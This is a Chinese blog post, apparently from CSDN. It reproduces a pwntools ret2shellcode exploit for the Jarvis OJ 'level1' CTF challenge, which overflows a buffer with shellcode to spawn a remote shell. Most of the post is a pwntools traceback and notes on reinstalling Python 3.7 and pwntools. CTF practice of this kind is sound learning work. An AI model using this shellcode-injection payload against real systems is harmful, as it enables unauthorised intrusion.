今天是个好日子,今天是12.21,冬至

今天不是好日子,做一道简单题的时候发现pwntools没装好呜呜呜

这是一道基础的ret2shellcode,但是也不会做的我直奔wp去抄exp

from pwn import *

p = remote('pwn2.jarvisoj.com', 9877)

#p = process("./level1")

#接收从下标为第14位到倒数第二位的字符串

text = p.recvline()[14:-2]

print text[14:-2]

#将text字符串通过int函数转换为16进制的地址,作为跳转的地址

buf_addr = int(text, 16)

shellcode = asm(shellcraft.sh())

payload = 'a' * (0x88+4-len(shellcode)) + shellcode + p32(buf_addr)

p.send(payload)

p.interactive()

然后运行,报错:

Traceback (most recent call last):

File "", line 1, in

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__

return getattr(m, key)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 86, in __getattr__

return getattr(m, key)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/__init__.py", line 80, in __getattr__

real = internal.make_function(key, self._shellcodes[key], self._dir)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 114, in make_function

template = lookup_template(path)

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 79, in lookup_template

init_mako()

File "/usr/local/lib/python2.7/dist-packages/pwntools-4.4.0.dev0-py2.7.egg/pwnlib/shellcraft/internal.py", line 14, in init_mako

from mako.lookup import TemplateLookup

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/lookup.py", line 12, in

from mako import exceptions

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 305, in

_install_highlighting()

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 300, in _install_highlighting

_install_pygments()

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/exceptions.py", line 284, in _install_pygments

from mako.ext.pygmentplugin import syntax_highlight # noqa

File "/usr/local/lib/python2.7/dist-packages/Mako-1.1.3-py2.7.egg/mako/ext/pygmentplugin.py", line 8, in

from pygments.formatters.html import HtmlFormatter

File "/usr/local/lib/python2.7/dist-packages/Pygments-2.6.1-py2.7.egg/pygments/formatters/html.py", line 554

file=sys.stderr)

^

SyntaxError: invalid syntax

发现是shellcraft.sh()这里出了问题

啊这。。。这还能怎么办呢,重装pwntools吧呜呜呜

但是又遇到了问题

那,只好用python3安装pwntools了

首先安装vm tools

sudo apt-get install vim

执行所有升级

sudo apt-get update

sudo apt-get upgrade -y

安装编译Python源程序所需的包

sudo apt install build-essential -y

sudo apt install libncurses5-dev libgdbm-dev libnss3-dev libssl-dev libreadline-dev libffi-dev -y

sudo apt-get install zlib1g-dev

下载Python 3.7源程序压缩包

wget https://www.python.org/ftp/python/3.7.1/Python-3.7.1.tgz

解压缩

tar -xzvf Python-3.7.1.tgz

配置

cd Python-3.7.1

./configure --enable-optimizations

编译和安装Python 3.7

sudo make

sudo make install#这里遇到了报错,根据提示改成了sudo -H make install,完成

安装、升级、卸载pip和更换pip源

sudo apt-get install python3-pip

sudo pip3 install --upgrade pip#这条报错,改成-H)之后发现没有影响

sudo apt-get remove python3-pip

sudo pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple#这条也是warning,改成-H了,好像干了点坏事)

安装git

sudo apt install git

进行git配置

sudo git config --global user.name ‘自定义用户名’

sudo git config --global user.email ‘邮箱’

查看配置

git config –list

pwntools

sudo apt-get install python python-pip python-dev libssl-dev libffi-dev build-essential#这条依旧报错,然后有个手滑,加了-H

sudo pip install -U setuptools

sudo pip install --upgrade pip

sudo pip install --upgrade pwntools#上面三条全部报错,没加-H,然后飙红了,给前两条加了最后一条没加,貌似成功了

装好了,还是比较蠢的2333

原文链接:https://blog.csdn.net/qq_49914719/article/details/111503762

python3-pwntools教程_记一次five熬夜重装pwntools相关推荐

  1. 小白重装系统教程_小白稳定版 | U盘重装系统教程

    U盘重装视频教程: 以下是详细的图文教程:(以win10系统为例) 一.准备工具 1.一个空的U盘(尽量8G以上) 2.一台正常能上网的电脑 二.安装思路 1.找一台能正常使用的电脑和一个U盘,通过下 ...

  2. ubuntu上安装python3.7教程_给ubuntu18安装python3.7的详细教程

    准备工作 安装工具 sudo apt update sudo apt upgrade sudo apt install gcc sudo apt install g++ sudo apt instal ...

  3. 装饰器python3菜鸟教程_认识Python装饰器

    Python中的装饰器用来给Python中的函数添加一些辅助功能.比如我们可以把[输出日志]这个辅助功能写到一个装饰器里.只要我们在某个函数A之前添加了这个[输出日志]的装饰器,那么执行函数A的时候, ...

  4. 小白重装系统教程_练习如何用u盘重装系统教程

    想必大部分的朋友都没听说过U盘重装系统,其实U盘重装系统是现在最常用的重装系统方式,因为系统问题导致电脑无法开机的使用U盘重装系统可以最快最有效的解决问题,赶紧来了解一下吧 U盘是一种存储工具,组成虽 ...

  5. python3 chm文档下载_python3.7.0官方参考文档 最新api文档 chm_Python教程_源雷技术空间...

    资源名称:python3.7.0官方参考文档 最新api文档 chm 1.新语法特性: PEP 563, 推迟评估类型注释 2.向后不兼容语法更改: async 和 await 现在保留关键字 3.新 ...

  6. python3 excel数据处理_求推荐python3入门教程,适合新手的(python excel数据处理)

    excel和python哪个难学 excel 分应用和VBA编程,phthon本就是编程语言,对数据分析来说,excel足够了,而且是最容易学习的数据处理与分析应用软件,Python肯定比excel难 ...

  7. 苹果手机上运行python_Python新手入门教程_在手机上就能学习编程的软件

    Python新手入门教程_在手机上就能学习编程的软件 很多小伙伴会问:我在学编程,想利用坐地铁坐公交吃饭间隙学编程,在手机上能学编程的软件有哪些?毕竟时间宝贵啊!!哈哈哈!!! 这个问题,在悟空回答的 ...

  8. python 手机编程termux_Python新手入门教程_在手机上就能学习编程的软件

    Python新手入门教程_在手机上就能学习编程的软件 很多小伙伴会问:我在学编程,想利用坐地铁坐公交吃饭间隙学编程,在手机上能学编程的软件有哪些?毕竟时间宝贵啊!!哈哈哈!!! 这个问题,在悟空回答的 ...

  9. python手机开发的软件_Python新手入门教程_在手机上就能学习编程的软件

    Python新手入门教程_在手机上就能学习编程的软件 很多小伙伴会问:我在学编程,想利用坐地铁坐公交吃饭间隙学编程,在手机上能学编程的软件有哪些?毕竟时间宝贵啊!!哈哈哈!!! 这个问题,在悟空回答的 ...

最新文章

  1. 各大浏览器 CSS3 和 HTML5 兼容速查表
  2. 【Spring实战】—— 14 传统的JDBC实现的DAO插入和读取
  3. vscode折叠/展开所有区域代码快捷键
  4. Lexer的设计--中(4)
  5. 如何避免把 Python 代码写得跟屎一样?
  6. IOS之学习笔记四(类的实现和对象和id)
  7. Netty:另一种Web(套接字)服务器
  8. Joint Consensus两阶段成员变更的单步实现
  9. 10.傅里叶变换——达利画家、基集(Basis Set)、傅里叶级数(Fourier Series)_1
  10. 开博客第一天!!来几句鸡汤
  11. Linux设备开机卡主
  12. 在ASP.Net中实现RSA加密
  13. 在水晶报表中插入子报表,并动态添加数据源
  14. 贪吃蛇程序 php,PHP下利用PHPMailer Web程序【tofacebook.com】 - 贪吃蛇
  15. 子查询定义从句总结(WITH AS 语句)
  16. macd的python代码同花顺_MACD最全的运用方法!
  17. linux上压缩pdf文件,如何压缩PDF文件?
  18. HTML5期末大作业:蛋糕甜品网站设计——蛋糕甜品店铺(11页) HTML+CSS+JavaScript 关于美食甜品的HTML网页设计
  19. surface屏幕自动调节亮度无法关闭
  20. 计算机虚拟技术有什么用途,CPU虚拟化有什么作用?CPU怎么开启虚拟化技术?

热门文章

  1. java打jar包的方式,jar命令,maven
  2. python安装snaps_如何管理Ubuntu Snaps:没人告诉你的东西
  3. node redis集群_如何使用集群扩展Node.js服务器
  4. gitlab定期备份_如何在一分钟内让GitLab为您做定期工作
  5. golang.org/x/lint安装失败
  6. Python面试题【315+道题】
  7. 全国315个城市,用python爬取肯德基老爷爷的店面信息
  8. python是动态语言
  9. ubuntu安装sublime3并配置python3环境
  10. [深度学习-TF2实践]应用Tensorflow2.x训练DenseNet模型在Cifar10数据上,测试集准确率90.07%